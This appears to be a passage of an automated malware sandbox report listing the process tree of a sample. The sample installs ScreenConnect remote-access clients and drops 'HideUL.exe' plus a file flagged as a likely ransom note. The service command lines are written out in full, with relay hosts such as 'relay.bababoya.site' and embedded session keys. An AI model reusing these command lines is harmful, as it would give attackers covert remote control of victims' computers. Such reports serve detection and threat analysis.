                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                  • Suspicious use of WriteProcessMemory
                                                                                  PID:1128
                                                                                  • C:\Windows\syswow64\MsiExec.exe
                                                                                    C:\Windows\syswow64\MsiExec.exe -Embedding EE4A40CC5AAA233E79E906F1F341A050
                                                                                    2⤵
                                                                                    • Loads dropped DLL
                                                                                    • System Location Discovery: System Language Discovery
                                                                                    • Suspicious use of WriteProcessMemory
                                                                                    PID:2712
                                                                                    • C:\Windows\SysWOW64\rundll32.exe
                                                                                      rundll32.exe "C:\Windows\Installer\MSI1302.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240718859 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
                                                                                      3⤵
                                                                                      • Loads dropped DLL
                                                                                      • Drops file in Windows directory
                                                                                      • System Location Discovery: System Language Discovery
                                                                                      PID:4052
                                                                                  • C:\Windows\syswow64\MsiExec.exe
                                                                                    C:\Windows\syswow64\MsiExec.exe -Embedding 930DA0F608A98901C07E00EFCC827D6C E Global\MSI0000
                                                                                    2⤵
                                                                                    • Loads dropped DLL
                                                                                    • Drops file in Windows directory
                                                                                    • System Location Discovery: System Language Discovery
                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                    PID:4204
                                                                                  • C:\Windows\syswow64\MsiExec.exe
                                                                                    C:\Windows\syswow64\MsiExec.exe -Embedding 30302E893A06E9E2CFE5F9FA6451D53C C
                                                                                    2⤵
                                                                                    • Loads dropped DLL
                                                                                    • System Location Discovery: System Language Discovery
                                                                                    • Suspicious use of WriteProcessMemory
                                                                                    PID:1228
                                                                                    • C:\Windows\SysWOW64\rundll32.exe
                                                                                      rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIAA1C.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240822875 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
                                                                                      3⤵
                                                                                      • Loads dropped DLL
                                                                                      • System Location Discovery: System Language Discovery
                                                                                      PID:1152
                                                                                  • C:\Windows\system32\srtasks.exe
                                                                                    C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
                                                                                    2⤵
                                                                                      PID:1900
                                                                                    • C:\Windows\syswow64\MsiExec.exe
                                                                                      C:\Windows\syswow64\MsiExec.exe -Embedding DBEBCAD9B7C5190E3949699DBA59BFD2
                                                                                      2⤵
                                                                                      • Loads dropped DLL
                                                                                      • System Location Discovery: System Language Discovery
                                                                                      PID:3392
                                                                                    • C:\Windows\syswow64\MsiExec.exe
                                                                                      C:\Windows\syswow64\MsiExec.exe -Embedding 049EB870C068E27B0C5F109184ED93C4 E Global\MSI0000
                                                                                      2⤵
                                                                                      • Loads dropped DLL
                                                                                      • Drops file in Windows directory
                                                                                      • System Location Discovery: System Language Discovery
                                                                                      PID:1036
                                                                                  • C:\Program Files (x86)\ScreenConnect Client (df1f7eee088402cc)\ScreenConnect.ClientService.exe
                                                                                    "C:\Program Files (x86)\ScreenConnect Client (df1f7eee088402cc)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=instance-hxe060-relay.screenconnect.com&p=443&s=61283886-bcf5-4bb5-a878-ea7d2cee6ff9&k=BgIAAACkAABSU0ExAAgAAAEAAQAN516pL%2f50L%2bi%2fOXp5muJiqkzOKd4K1dYCg8kXYYUWz%2bDUqteONXdT4qSqBOUCGzUMnqTr5YRgUYFmktaerPC7iu8B2wJn%2bhu7djXriKbsxrrAQcQXK%2bzRtoNOBFOdfIdGMkagH7MeF1%2bBZM7Lc3RbsbAwgEjmHr9nUsUvIrx5WnH9EWToIyoVUDVShA4JSJNfi0CwrWx24ke1CEbqJnrZxX%2fLohsgE95wwVUvH3%2btc3l2ek%2fiozsBbO%2bTnc9oSV3b3Bif4n7qupZA5Y%2bFhLwFFNvVcR67PT396bRWZs3qze2WtYBPkpg%2bhfG7SlnV1HDaLQEnUo%2f61%2fHTVv9WUy25&c=Gas%20company&c=&c=&c=&c=&c=&c=&c="
                                                                                    1⤵
                                                                                    • Sets service image path in registry
                                                                                    • Executes dropped EXE
                                                                                    • Loads dropped DLL
                                                                                    • Drops file in System32 directory
                                                                                    • System Location Discovery: System Language Discovery
                                                                                    • Modifies data under HKEY_USERS
                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                    • Suspicious use of WriteProcessMemory
                                                                                    PID:3716
                                                                                    • C:\Program Files (x86)\ScreenConnect Client (df1f7eee088402cc)\ScreenConnect.WindowsClient.exe
                                                                                      "C:\Program Files (x86)\ScreenConnect Client (df1f7eee088402cc)\ScreenConnect.WindowsClient.exe" "RunRole" "a3bfdb6c-cf65-433d-bdf5-dc88bbf6bbac" "User"
                                                                                      2⤵
                                                                                      • Executes dropped EXE
                                                                                      • Suspicious use of FindShellTrayWindow
                                                                                      • Suspicious use of SendNotifyMessage
                                                                                      PID:3088
                                                                                    • C:\Program Files (x86)\ScreenConnect Client (df1f7eee088402cc)\ScreenConnect.WindowsClient.exe
                                                                                      "C:\Program Files (x86)\ScreenConnect Client (df1f7eee088402cc)\ScreenConnect.WindowsClient.exe" "RunRole" "bdcd8d71-2525-4f19-9d2f-b6cb864c1b45" "System"
                                                                                      2⤵
                                                                                      • Executes dropped EXE
                                                                                      • Drops file in System32 directory
                                                                                      • Checks processor information in registry
                                                                                      • Modifies data under HKEY_USERS
                                                                                      PID:4652
                                                                                    • C:\Program Files (x86)\ScreenConnect Client (df1f7eee088402cc)\ScreenConnect.WindowsClient.exe
                                                                                      "C:\Program Files (x86)\ScreenConnect Client (df1f7eee088402cc)\ScreenConnect.WindowsClient.exe" "RunRole" "b92ecfca-bedd-49fb-b993-63bc566eb485" "System"
                                                                                      2⤵
                                                                                      • Executes dropped EXE
                                                                                      • Modifies data under HKEY_USERS
                                                                                      • Suspicious behavior: GetForegroundWindowSpam
                                                                                      PID:4112
                                                                                    • C:\Program Files (x86)\ScreenConnect Client (df1f7eee088402cc)\ScreenConnect.WindowsClient.exe
                                                                                      "C:\Program Files (x86)\ScreenConnect Client (df1f7eee088402cc)\ScreenConnect.WindowsClient.exe" "RunRole" "1228814d-44d6-4a5c-b543-cbcad968343b" "System"
                                                                                      2⤵
                                                                                      • Executes dropped EXE
                                                                                      • Checks processor information in registry
                                                                                      • Modifies data under HKEY_USERS
                                                                                      PID:2004
                                                                                  • C:\Windows\system32\vssvc.exe
                                                                                    C:\Windows\system32\vssvc.exe
                                                                                    1⤵
                                                                                    • Checks SCSI registry key(s)
                                                                                    PID:3212
                                                                                  • C:\Program Files (x86)\ScreenConnect Client (ecbf2f89ecbfc25a)\ScreenConnect.ClientService.exe
                                                                                    "C:\Program Files (x86)\ScreenConnect Client (ecbf2f89ecbfc25a)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=relay.bababoya.site&p=8041&s=71e56014-a522-436f-8bb2-2e0f64203101&k=BgIAAACkAABSU0ExAAgAAAEAAQCxnLiAYEcaW4%2bgJqE2IDqjXPJcpEF%2bcZSEgIYkWASXWOCt3mRsugH2GoqNpO3f1AGa1WCWEVk%2bVuJXFr6FMb6XY%2bb8yYlDifxdRWlrG9bRjVdsnPyLYto4MZ9uPMPIkMLlo897gq2SesQXDEktaGp%2fb0FynW2pUAoQNJncW8%2f5Y75eKsDK1Oni7u01G%2byb2DLZvRmM6FUPi9QP0VPceXIXuCdSBLW6Czve%2b6cKu0UeIzjyBGLDVxsHCP2lpoMYGZ2VlyaFPgF1yDD%2f%2bgrdM%2ff5Si6IPyB%2bpcanlPvMd2qTfSCm2MnucG%2fsZtjMRnF2AibrVOw2L3Fm6LJr8dnjabux"
                                                                                    1⤵
                                                                                    • Sets service image path in registry
                                                                                    • Executes dropped EXE
                                                                                    • Loads dropped DLL
                                                                                    • Drops file in System32 directory
                                                                                    • System Location Discovery: System Language Discovery
                                                                                    • Modifies data under HKEY_USERS
                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                    • Suspicious use of WriteProcessMemory
                                                                                    PID:1780
                                                                                    • C:\Program Files (x86)\ScreenConnect Client (ecbf2f89ecbfc25a)\ScreenConnect.WindowsClient.exe
                                                                                      "C:\Program Files (x86)\ScreenConnect Client (ecbf2f89ecbfc25a)\ScreenConnect.WindowsClient.exe" "RunRole" "32d39753-3012-4082-bcd9-01a70c95b08f" "User"
                                                                                      2⤵
                                                                                      • Executes dropped EXE
                                                                                      PID:1264
                                                                                    • C:\Program Files (x86)\ScreenConnect Client (ecbf2f89ecbfc25a)\ScreenConnect.WindowsClient.exe
                                                                                      "C:\Program Files (x86)\ScreenConnect Client (ecbf2f89ecbfc25a)\ScreenConnect.WindowsClient.exe" "RunRole" "28b0c1e8-da69-4963-b438-64601f6bb3d9" "System"
                                                                                      2⤵
                                                                                      • Executes dropped EXE
                                                                                      • Checks processor information in registry
                                                                                      • Modifies data under HKEY_USERS
                                                                                      PID:4228
                                                                                    • C:\Program Files (x86)\ScreenConnect Client (ecbf2f89ecbfc25a)\ScreenConnect.WindowsClient.exe
                                                                                      "C:\Program Files (x86)\ScreenConnect Client (ecbf2f89ecbfc25a)\ScreenConnect.WindowsClient.exe" "RunRole" "f49f2ecb-dd35-4aa8-970b-9b420c7ba15b" "System"
                                                                                      2⤵
                                                                                      • Executes dropped EXE
                                                                                      • Modifies data under HKEY_USERS
                                                                                      • Suspicious behavior: GetForegroundWindowSpam
                                                                                      PID:948
                                                                                    • C:\Program Files (x86)\ScreenConnect Client (ecbf2f89ecbfc25a)\ScreenConnect.WindowsBackstageShell.exe
                                                                                      "C:\Program Files (x86)\ScreenConnect Client (ecbf2f89ecbfc25a)\ScreenConnect.WindowsBackstageShell.exe"
                                                                                      2⤵
                                                                                      • Executes dropped EXE
                                                                                      • Enumerates connected drives
                                                                                      • Drops file in System32 directory
                                                                                      • Modifies data under HKEY_USERS
                                                                                      • Suspicious behavior: GetForegroundWindowSpam
                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                      PID:552
                                                                                      • C:\Program Files (x86)\ScreenConnect Client (ecbf2f89ecbfc25a)\ScreenConnect.WindowsFileManager.exe
                                                                                        "C:\Program Files (x86)\ScreenConnect Client (ecbf2f89ecbfc25a)\ScreenConnect.WindowsFileManager.exe"
                                                                                        3⤵
                                                                                        • Executes dropped EXE
                                                                                        • Drops desktop.ini file(s)
                                                                                        • Enumerates connected drives
                                                                                        • Drops file in System32 directory
                                                                                        • Modifies data under HKEY_USERS
                                                                                        • Modifies registry class
                                                                                        • Suspicious use of SetWindowsHookEx
                                                                                        PID:2664
                                                                                        • C:\Users\HideUL\HideUL.exe
                                                                                          "C:\Users\HideUL\HideUL.exe"
                                                                                          4⤵
                                                                                          • Executes dropped EXE
                                                                                          • System Location Discovery: System Language Discovery
                                                                                          PID:3708
                                                                                          • C:\Users\HideUL\HideUL_x64.exe
                                                                                            C:\Users\HideUL\HideUL_x64.exe
                                                                                            5⤵
                                                                                            • Executes dropped EXE
                                                                                            • Drops file in Windows directory
                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                            • Suspicious behavior: GetForegroundWindowSpam
                                                                                            PID:1204
                                                                                        • C:\Windows\system32\NOTEPAD.EXE
                                                                                          "C:\Windows\system32\NOTEPAD.EXE" C:\Users\HideUL\Version_Info.txt
                                                                                          4⤵
                                                                                          • Modifies data under HKEY_USERS
                                                                                          • Opens file in notepad (likely ransom note)
                                                                                          PID:1200
                                                                                        • C:\Users\HideUL\HideUL_x64.exe
                                                                                          "C:\Users\HideUL\HideUL_x64.exe"
                                                                                          4⤵
                                                                                          • Executes dropped EXE
                                                                                          • Drops file in Windows directory
                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                          • Suspicious behavior: GetForegroundWindowSpam
                                                                                          PID:2092
                                                                                    • C:\Program Files (x86)\ScreenConnect Client (ecbf2f89ecbfc25a)\ScreenConnect.WindowsClient.exe
                                                                                      "C:\Program Files (x86)\ScreenConnect Client (ecbf2f89ecbfc25a)\ScreenConnect.WindowsClient.exe" "RunRole" "4333e713-30fc-48c8-b287-6256390c33cc" "User"
                                                                                      2⤵
                                                                                      • Executes dropped EXE
                                                                                      • Modifies data under HKEY_USERS
                                                                                      PID:1808
                                                                                    • C:\Program Files (x86)\ScreenConnect Client (ecbf2f89ecbfc25a)\ScreenConnect.WindowsClient.exe
                                                                                      "C:\Program Files (x86)\ScreenConnect Client (ecbf2f89ecbfc25a)\ScreenConnect.WindowsClient.exe" "RunRole" "c626290c-8cd9-4508-9fb8-572fd4c3b96a" "User"
                                                                                      2⤵
                                                                                      • Executes dropped EXE
                                                                                      PID:4728
                                                                                    • C:\Program Files (x86)\ScreenConnect Client (ecbf2f89ecbfc25a)\ScreenConnect.WindowsClient.exe
                                                                                      "C:\Program Files (x86)\ScreenConnect Client (ecbf2f89ecbfc25a)\ScreenConnect.WindowsClient.exe" "RunRole" "a6f14798-d0f3-4d36-bb4e-0ff470f9a1bb" "System"
                                                                                      2⤵
                                                                                      • Executes dropped EXE
                                                                                      • Modifies data under HKEY_USERS
                                                                                      • Suspicious behavior: GetForegroundWindowSpam
                                                                                      PID:1084
                                                                                  • C:\Windows\System32\control.exe
                                                                                    "C:\Windows\System32\control.exe" "C:\Windows\System32\appwiz.cpl",
                                                                                    1⤵
                                                                                      PID:3492
                                                                                      • C:\Windows\system32\rundll32.exe
                                                                                        "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL "C:\Windows\System32\appwiz.cpl",
                                                                                        2⤵
                                                                                          PID:1508
                                                                                      • C:\Windows\SysWOW64\DllHost.exe
                                                                                        C:\Windows\SysWOW64\DllHost.exe /Processid:{06622D85-6856-4460-8DE1-A81921B41C4B}
                                                                                        1⤵
                                                                                        • System Location Discovery: System Language Discovery
                                                                                        PID:828
                                                                                      • C:\Windows\explorer.exe
                                                                                        C:\Windows\explorer.exe /factory,{5BD95610-9434-43C2-886C-57852CC8A120} -Embedding
                                                                                        1⤵
                                                                                        • Drops file in Windows directory
                                                                                        • Modifies Internet Explorer settings
                                                                                        • Modifies registry class
                                                                                        • Suspicious behavior: AddClipboardFormatListener
                                                                                        PID:4584
                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe"
                                                                                        1⤵
                                                                                        • Drops file in Windows directory
                                                                                        • Checks processor information in registry
                                                                                        • Enumerates system info in registry
                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                        • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                                                                                        • Suspicious use of SendNotifyMessage
                                                                                        PID:1108
                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x118,0x11c,0x120,0xf4,0x124,0x7fff688fc728,0x7fff688fc734,0x7fff688fc740
                                                                                          2⤵
                                                                                            PID:2088
                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1696,i,12083656786185914746,3124431843691903204,262144 --field-trial-handle=1924,i,16884242103111328742,14590260498515930428,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=1916 /prefetch:2
                                                                                            2⤵
                                                                                              PID:2828
                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2008,i,2896523622860627850,5502819335178923102,524288 --field-trial-handle=1924,i,16884242103111328742,14590260498515930428,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2036 /prefetch:3
                                                                                              2⤵
                                                                                              • System Time Discovery
                                                                                              PID:228
                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2424,i,9845547116275539576,10231438034087725936,524288 --field-trial-handle=1924,i,16884242103111328742,14590260498515930428,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2532 /prefetch:8
                                                                                              2⤵
                                                                                                PID:4748
                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3116,i,9758371999849183052,8655614618198137492,2097152 --field-trial-handle=1924,i,16884242103111328742,14590260498515930428,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3264 /prefetch:1
                                                                                                2⤵
                                                                                                  PID:5056
                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3452,i,15654485993544425109,2892471859304591852,2097152 --field-trial-handle=1924,i,16884242103111328742,14590260498515930428,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3496 /prefetch:1
                                                                                                  2⤵
                                                                                                    PID:3208
                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4516,i,985199631960316480,3058570978354328777,2097152 --field-trial-handle=1924,i,16884242103111328742,14590260498515930428,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4528 /prefetch:2
                                                                                                    2⤵
                                                                                                      PID:2092
                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4756,i,17473897797093574171,16573209358568664988,2097152 --field-trial-handle=1924,i,16884242103111328742,14590260498515930428,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4760 /prefetch:1
                                                                                                      2⤵
                                                                                                        PID:2832
                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4904,i,7575783363792852552,14830979248397572565,524288 --field-trial-handle=1924,i,16884242103111328742,14590260498515930428,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4892 /prefetch:8
                                                                                                        2⤵
                                                                                                          PID:1200
                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5040,i,15738999415898333596,2255447784525595948,524288 --field-trial-handle=1924,i,16884242103111328742,14590260498515930428,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5048 /prefetch:8
                                                                                                          2⤵
                                                                                                            PID:5144
                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5528,i,17623141261662774642,6768540416164490994,524288 --field-trial-handle=1924,i,16884242103111328742,14590260498515930428,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5488 /prefetch:8
                                                                                                            2⤵
                                                                                                              PID:5408
                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5824,i,462505513210567361,3308880732433684046,2097152 --field-trial-handle=1924,i,16884242103111328742,14590260498515930428,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5572 /prefetch:1
                                                                                                              2⤵
                                                                                                                PID:5780
                                                                                                            • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                                                                                                              "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                                                                                                              1⤵
                                                                                                                PID:3140
                                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                                C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
                                                                                                                1⤵
                                                                                                                  PID:5568
                                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                                  C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
                                                                                                                  1⤵
                                                                                                                    PID:5652
                                                                                                                  • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                    "C:\Program Files\Mozilla Firefox\firefox.exe"
                                                                                                                    1⤵
                                                                                                                      PID:5356
                                                                                                                      • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                        "C:\Program Files\Mozilla Firefox\firefox.exe"
                                                                                                                        2⤵
                                                                                                                        • Checks processor information in registry
                                                                                                                        • Suspicious use of SetWindowsHookEx
                                                                                                                        PID:5368
                                                                                                                        • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                          "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2016 -prefsLen 27099 -prefMapHandle 2020 -prefMapSize 270279 -ipcHandle 2084 -initialChannelId {bcc2c872-0ebb-493b-a88f-d0cf87a6261f} -parentPid 5368 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5368" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu
                                                                                                                          3⤵
                                                                                                                            PID:5712
                                                                                                                          • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                            "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2476 -prefsLen 27135 -prefMapHandle 2480 -prefMapSize 270279 -ipcHandle 2488 -initialChannelId {444ebb7a-3c9a-4b4d-b0cb-4034b7ae4ec2} -parentPid 5368 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5368" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket
                                                                                                                            3⤵
                                                                                                                            • Checks processor information in registry
                                                                                                                            PID:5772
                                                                                                                          • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                            "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3768 -prefsLen 27276 -prefMapHandle 3772 -prefMapSize 270279 -jsInitHandle 3776 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3784 -initialChannelId {bddb1937-a037-41c5-a5f9-2fabe6b44a58} -parentPid 5368 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5368" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 tab
                                                                                                                            3⤵
                                                                                                                            • Checks processor information in registry
                                                                                                                            PID:5316
                                                                                                                          • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                            "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3932 -prefsLen 27276 -prefMapHandle 3936 -prefMapSize 270279 -ipcHandle 4036 -initialChannelId {30a516f6-865d-48a5-9fa4-61eadfcc618d} -parentPid 5368 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5368" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 rdd
                                                                                                                            3⤵
                                                                                                                              PID:5804
                                                                                                                            • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                              "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4424 -prefsLen 34775 -prefMapHandle 4428 -prefMapSize 270279 -jsInitHandle 4432 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4436 -initialChannelId {21138721-3da5-44a4-97f4-787323b4c9df} -parentPid 5368 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5368" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 tab
                                                                                                                              3⤵
                                                                                                                              • Checks processor information in registry
                                                                                                                              PID:6032
                                                                                                                            • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                              "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 4924 -prefsLen 35012 -prefMapHandle 4920 -prefMapSize 270279 -ipcHandle 4916 -initialChannelId {9557fa16-e2e4-47bd-9caf-db56e2755232} -parentPid 5368 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5368" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 utility
                                                                                                                              3⤵
                                                                                                                              • Checks processor information in registry
                                                                                                                              PID:6436
                                                                                                                            • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                              "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5132 -prefsLen 32900 -prefMapHandle 5136 -prefMapSize 270279 -jsInitHandle 5140 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5148 -initialChannelId {4b023ae5-7c9b-435d-8b60-82a6d537e2c2} -parentPid 5368 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5368" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 tab
                                                                                                                              3⤵
                                                                                                                              • Checks processor information in registry
                                                                                                                              PID:6480
                                                                                                                            • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                              "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5352 -prefsLen 32900 -prefMapHandle 5356 -prefMapSize 270279 -jsInitHandle 5360 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5156 -initialChannelId {a8c14355-b588-4beb-ba71-28ddaef2cb30} -parentPid 5368 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5368" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 tab
                                                                                                                              3⤵
                                                                                                                              • Checks processor information in registry
                                                                                                                              PID:6516
                                                                                                                            • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                              "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5528 -prefsLen 32900 -prefMapHandle 5532 -prefMapSize 270279 -jsInitHandle 5536 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5544 -initialChannelId {748de7a1-f935-4bab-bd47-bf6faabaaf17} -parentPid 5368 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5368" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 tab
                                                                                                                              3⤵
                                                                                                                              • Checks processor information in registry
                                                                                                                              PID:6596
                                                                                                                        • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
                                                                                                                          "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\Desktop\WriteSearch.ods"
                                                                                                                          1⤵
                                                                                                                          • Checks processor information in registry
                                                                                                                          • Enumerates system info in registry
                                                                                                                          • Suspicious behavior: AddClipboardFormatListener
                                                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                                                          PID:5976
                                                                                                                        • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
                                                                                                                          "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\Desktop\RestoreRevoke.xlsx"
                                                                                                                          1⤵
                                                                                                                          • Checks processor information in registry
                                                                                                                          • Enumerates system info in registry
                                                                                                                          • Suspicious behavior: AddClipboardFormatListener
                                                                                                                          • Suspicious use of SetWindowsHookEx
